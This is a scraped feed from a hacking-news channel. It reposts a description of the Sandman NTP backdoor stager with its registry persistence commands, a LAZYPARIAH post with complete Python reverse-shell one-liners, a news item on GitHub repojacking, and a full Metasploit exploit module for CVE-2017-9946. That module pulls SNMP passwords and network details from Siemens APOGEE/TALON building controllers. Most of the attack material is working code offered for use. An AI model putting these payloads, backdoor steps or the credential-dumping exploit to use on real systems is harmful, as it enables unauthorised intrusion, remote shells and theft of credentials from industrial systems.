Hacking Articles Tips Tricks Videos Tutorials

Sandman is a backdoor (https://www.kitploit.com/search/label/Backdoor) that is meant to work on hardened networks during red team (https://www.kitploit.com/search/label/Red%20Team) engagements. Sandman works as a stager and leverages NTP (a protocol to sync time & date) to get and run an arbitrary shellcode from a pre-defined server. Since NTP is a protocol that is overlooked by many defenders resulting in wide network accessibility.
Usage SandmanServer (Usage) Run on windows / *nix machine: python3 sandman_server.py "Network Adapter" "Payload Url" "optional: ip to spoof" Network Adapter: The adapter that you want the server to listen on (for example Ethernet (https://www.kitploit.com/search/label/Ethernet) for Windows, eth0 for *nix). Payload Url: The URL to your shellcode, it could be your agent (for example, CobaltStrike (https://www.kitploit.com/search/label/CobaltStrike) or meterpreter) or another stager. IP to Spoof: If you want to spoof a legitimate IP address (for example, time.microsoft.com's IP address). SandmanBackdoor (Usage) To start, you can compile the SandmanBackdoor as mentioned below (https://github.com/Idov31/Sandman#setup), because it is a single lightweight C# executable you can execute it via ExecuteAssembly, run it as an NTP provider or just execute/inject it. SandmanBackdoorTimeProvider (Usage) To use it, you will need to follow simple steps: Add the following registry value: reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient" /v DllName /t REG_SZ /d "C:\Path\To\TheDll.dll" Restart the w32time service: sc stop w32time
sc start w32time NOTE: Make sure you are compiling with the x64 option and not any CPU option! Capabilities Getting and executing an arbitrary payload from an attacker's controlled server. Can work on hardened networks since NTP is usually allowed in FW. Impersonating a legitimate NTP server via IP spoofing. Setup SandmanServer (Setup) Python 3.9 The requirements (https://www.kitploit.com/search/label/Requirements) are specified in the requirements (https://github.com/Idov31/Sandman/blob/master/SandmanServer/requirements.txt) file. SandmanBackdoor (Setup) To compile the backdoor I used Visual Studio 2022, but as mentioned in the usage section (https://github.com/Idov31/Sandman#usage) it can be compiled with both VS2022 and CSC. You can compile it either using the USE_SHELLCODE and use Orca's shellcode or without USE_SHELLCODE to use WebClient. SandmanBackdoorTimeProvider (Setup) To compile the backdoor I used Visual Studio 2022, you will also need to install DllExport (https://github.com/3F/DllExport) (via Nuget or any other way) to compile it. You can compile it either using the USE_SHELLCODE and use Orca's shellcode or without USE_SHELLCODE to use WebClient. IOCs A shellcode is injected into RuntimeBroker. Suspicious NTP communication starts with a known magic header. YARA rule. Contributes Orca (https://github.com/ORCx41/) for the shellcode. Special thanks to Tim McGuffin (https://twitter.com/NotMedic) for the time provider idea (https://twitter.com/NotMedic/status/1561354598744473601). Thanks to those who already contributed and I'll happily accept contributions, make a pull request and I will review it!

Download Sandman (https://github.com/Idov31/Sandman)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest & Hacking Tools

Leading source of security tools, hacking tools, cybersecurity and network security. Learn about new tools and updates in one place.

7 viewsedited 13:39

7 views13:43

Hacking Articles Tips Tricks Videos Tutorials

7 views13:43

Hacking Articles Tips Tricks Videos Tutorials

Photo

Black Hat Ethical Hacking
Offensive Security Tool: LAZYPARIAH

Offensive Security Tool: LAZYPARIAHPost Views: 45 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.
Reading Time: 4 Minutes LAZYPARIAHLAZYPARIAH by octetsplicer is a tool for generating reverse shell payloads on the fly. Basically, it is a simple and easily installable command-line tool written in pure Ruby that can be used during penetration tests and capture-the-flag (CTF) competitions to generate a range of reverse shell payloads on the fly. We all know, a shell is just the beginning, with this tool, you get to pop one easily. It can be part of your workflow as a Pentester when it comes to post-exploitation, or as part of your Internal Pentesting Assessments attacks.
See Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course DescriptionLAZYPARIAH is a simple and easily installable command-line tool written in pure Ruby that can be used during penetration tests and capture-the-flag (CTF) competitions to generate a range of reverse shell payloads on the fly.

The reverse shell payloads that LAZYPARIAH supports include (but are not limited to):

* C binary payloads (compiled on the fly): c_binary
* Ruby payloads: ruby, ruby_b64, ruby_hex, ruby_c
* Powershell payloads: powershell_c, powershell_b64
* Base64-encoded Python payloads: python_b64
* Rust binary payloads (compiled on the fly): rust_binary
* PHP scripts containing base64-encoded Python payloads called via the system() function: php_system_python_b64
* Java classes (compiled on the fly): java_class
* Perl payloads: perl, perl_b64, perl_hex, perl_c
* Simple PHP payloads (targeting specific file descriptors): php_fd, php_fd_c, php_fd_tags Dependencies* Ruby >= 2.7.1 (LAZYPARIAH has not been tested on previous versions of Ruby)
* OpenJDK (Optional: Only required for java_class payloads.)
* GCC (Optional: Only required for c_binary payloads.)
* Rust (Optional: Only required for rust_binary payloads.) InstallationLAZYPARIAH can be installed on most GNU/Linux and BSD systems using the RubyGems installer as follows: gem install lazypariahTrending: Offensive Security Tool: Monkey365
Trending: Recon Tool: Collector Usagehttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/10/usage_-659x1024.png Further Notes and ExamplesThe payloads listed above are more-or-less systematically named.

Payloads ending with _c are intended to be executed from within a shell session. These payloads execute code directly using the relevant interpreter (e.g. python3 -c or ruby -e).

For example, the command lazypariah python_c 10.10.14.4 1337 should produce the following output:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

The command lazypariah python 10.10.14.4 1337, on the other hand, should simply produce a block of Python code which could potentially be placed in a .py file:

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Generally speaking, selecting payloads ending with _b64 should produce a command intended to be run from within a shell session in a similar manner to payloads ending with _c, but the commands will be different in structure. These commands will essentially pipe a base64-encoded block of code through to base64 -d and then on through to the relevant interpreter (such as python3, python2 or ruby).

For example, the command lazypariah python_b64 10.10[...]

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking

Offensive Security Tool: LAZYPARIAH | Black Hat Ethical Hacking

LAZYPARIAH is a tool that can be used during penetration tests and capture-the-flag (CTF) competitions to generate a range of reverse shell payloads on the fly.

9 viewsedited 13:43

Hacking Articles Tips Tricks Videos Tutorials

Photo

Black Hat Ethical Hacking
GitHub patches bug called repojacking that could allow access to another user’s repo

GitHub patches bug called repojacking that could allow access to another user’s repoPost Views: 43 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/09/Patreon.png Subscribe to Patreon to watch this episode.
Reading Time: 3 Minutes Coined ‘repojacking’ by researchers from Checkmarx, the technique could have enabled malicious actors to bypass protections against the takeover of “retired” GitHub namespaces.A flaw in GitHub’s namespace retirement feature could have allowed attackers to potentially access another user’s repository.

GitHub repositories have a unique URL which is nested under the user account that created it. The linked URL and username together are called a ‘namespace’.

When a user chooses to rename their GitHub account, the platform will redirect their old URLs to the new URL.

However, this feature was found to be vulnerable to “a logical flaw that breaks the original redirect”.

If a malicious actor created an account using the previous account name of another user, they were able to link the old repository URL to their account, gaining access to code and other content in the process.

In addition, and compounding the problem, the default redirect was disabled, so if an attack was successful then all existing traffic was immediately routed to the attackers malicious GitHub repository.

To protect against this, GitHub initially introduced the “popular repository namespace retirement” feature, meaning that any repository with more than 100 clones at the time its user account is renamed is considered “retired” and the namespace cannot be used by others.
See Also: So you want to be a hacker? Complete Offensive Security and Ethical Hacking Course TimelineIn a blog post, Checkmarx researchers explained that they found two bypasses that allowed them to exploit the feature, noting that a successful attack would enable the takeover of popular code packages in several popular package managers including Packagist, Go, Swift, and more.

The team discovered an initial bypass in November 2021 and reported this to GitHub, which “fixed” it In March 2022.

In May 2022, it was still deemed to be exploitable and was again patched later that month.

Then in June, Checkmarx researchers found a second bypass, which was patched in September and disclosed this week (October 26).

The researchers were awarded an undisclosed bug bounty reward for the discovery. Checkmarx warns that thousands of repos could be at risk if any further bypasses were found.
Trending: Common and Uncommon types of SQL Injection Trending: Offensive Security Tool: Monkey365 “We have identified over 10,000 packages in those package managers using renamed usernames and are at risk of being vulnerable to this technique in case a new bypass is found,” the researchers said in a blog post.
Trending: Microsoft data breach exposes over 65K customers’ contact info, emails
Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?

If you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com
Source: portswigger.net Source Link https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/10/Images-for-the-News-posts-3-1-300x150.png Windows vulnerable driver blocklist sync issue patchedOctober 27, 2022
Reading Time: 4 minutes

* https:[...]

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking

GitHub patches bug called repojacking that could allow access to another user’s repo | Black Hat Ethical Hacking

Coined ‘repojacking’ by researchers from Checkmarx, the technique could have enabled malicious actors to bypass protections against the takeover of “retired” GitHub namespaces.

6 viewsedited 13:43

Hacking Articles Tips Tricks Videos Tutorials

Black Hat Ethical Hacking GitHub patches bug called repojacking that could allow access to another user’s repo GitHub patches bug called repojacking that could allow access to another user’s repoPost Views: 43 Premium Contenthttps://www.blackhatethicalhacking.com/wp…

//www.blackhatethicalhacking.com/wp-content/uploads/2022/10/Images-for-the-News-posts-2-2-300x150.png Cisco warns admins to patch AnyConnect flaw exploited in attacksOctober 26, 2022
Reading Time: 3 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/10/Images-for-the-News-posts-12-300x150.png Apple fixes new zero-day used in attacks against iPhones, iPadsOctober 25, 2022
Reading Time: 3 minutes

* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/10/Images-for-the-News-posts-11-300x150.png Exploited Windows zero-day lets JavaScript files bypass security warningsOctober 24, 2022
Reading Time: 6 minutes
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/06/OffSec-Course.png Offensive Security & Ethical Hacking CourseBegin the learning curve of hacking now!
The post GitHub patches bug called repojacking that could allow access to another user’s repo first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

6 viewsedited 13:44

Hacking Articles Tips Tricks Videos Tutorials

Black Hat Ethical Hacking
Offensive Security Tool: LAZYPARIAH

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking

Offensive Security Tool: LAZYPARIAH | Black Hat Ethical Hacking

LAZYPARIAH is a tool that can be used during penetration tests and capture-the-flag (CTF) competitions to generate a range of reverse shell payloads on the fly.

6 viewsedited 13:44

Hacking Articles Tips Tricks Videos Tutorials

5 views14:07

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Siemens APOGEE PXC / TALON TC Authentication Bypass

https://2.bp.blogspot.com/-n3YJZo98ptc/WWlvfHNo4ZI/AAAAAAAAIP8/W2JyxBpYTHMTjkJx5zl91eYOlgUDpw8egCLcBGAs/s1600/h84.png APOLOGEE is a Python script and Metasploit module that enumerates a hidden directory on Siemens APOGEE PXC BACnet Automation Controllers and TALON TC BACnet Automation Controllers. With a 7.5 CVSS, this exploit allows for an attacker to perform an authentication bypass using an alternate path or channel to access hidden directories in the web server. All versions prior to 3.5 are affected.

SHA-256 | 9cdea8ef198269714420f4181480f5f779bae0a4ceba444e0d250e3b4071220aDownload

#!/usr/bin/env python3

# -*- coding: utf-8 -*-
# 2022-05-23

# Standard Modules
from metasploit import module

# Extra Dependencies
dependencies_missing = False
try:
import logging
import requests
import requests
import xmltodict
import xml.etree.ElementTree as ET
import socket
import struct
import requests
except ImportError:
dependencies_missing = True
# Metasploit Metadata
metadata = {
'name': 'Siemens BACnet Field Panel Path Traversal',
'description': '''
This module exploits a hidden directory on Siemens APOGEE PXC BACnet Automation Controllers (all versions prior to V3.5), and TALON TC BACnet Automation Controllers (all versions prior to V3.5). With a 7.5 CVSS, this exploit allows for an attacker to perform an authentication bypass using an alternate path or channel to enumerate hidden directories in the web server.
''',
'authors': [
'RoseSecurity', 
],
'date': '2022-05-23',
'license': 'MSF_LICENSE',
'references': [
{'type': 'url', 'ref': 'https://sid.siemens.com/v/u/A6V10304985'},
{'type': 'cve', 'ref': 'https://nvd.nist.gov/vuln/detail/CVE-2017-9946'},
],
'type': 'single_scanner',
'options': {
'rhost': {'type': 'string', 'description': 'Target address', 'required': True, 'default': None},
}
}

def run(args):
module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))
if dependencies_missing:
logging.error('Module dependency (requests) is missing, cannot continue')
return

try:
# Download Hidden XML File
r = requests.get('http://{}/{}'.format(args['rhost'], '/FieldPanel.xml'), verify=False)

# Convert to Readable Format
xml_doc = r.content
root = ET.fromstring(xml_doc)

# Parse XML for Sensitive Data
module.log("Remote Site ID: " + root[18].text)
module.log("Building Level Network Name: " + root[26].text)
module.log("Site Name: " + root[27].text)
module.log("Hostname: " + root[28].text)
ip_addr = int(root[30].text, 16)
module.log("IP Address: " + socket.inet_ntoa(struct.pack(">L", ip_addr)))
gw_addr = int(root[32].text, 16)
gw_addr = str(socket.inet_ntoa(struct.pack(">L", gw_addr)))
module.log("Gateway IP Address: " + gw_addr[::-1])
module.log("Maximum Transmission Size: " + root[57].text)
module.log("BACnet Device Name: " + root[60].text)
module.log("BACnet UDP Port: " + root[62].text)
module.log("Device Location: " + root[63].text)
module.log("Device Description: " + root[64].text)
module.log("Device Barcode: " + root[88].text)
module.log("Device Revision String: " + root[104].text)
module.log("Device Firmware: " + root[105].text)
module.log("Panel Key Name: " + root[109].text)
module.log("SNMP Username: " + root[148].text)
module.log("SNMP Private Password: " + root[149].text)
module.log("SNMP Authorization Password: " + root[150].text)

# Determine Running Services
if int(root[48].text) == 1:
module.log("Telnet Enabled")
else:
module.log("Telnet Disabled")

if int(root[84].text) == 1:
module.log("Wireless Enabled")
else:
module.log("Wireless Disabled")

if int(root[103].text) == 3:
module.log("Webserver Enabled")
else:
module.log("Webserver Disabled")

except requests.exceptions.RequestException as e:
logging.error('{}'.format(e))
return
if __name__ == '__main__':
module.run(metadata, run)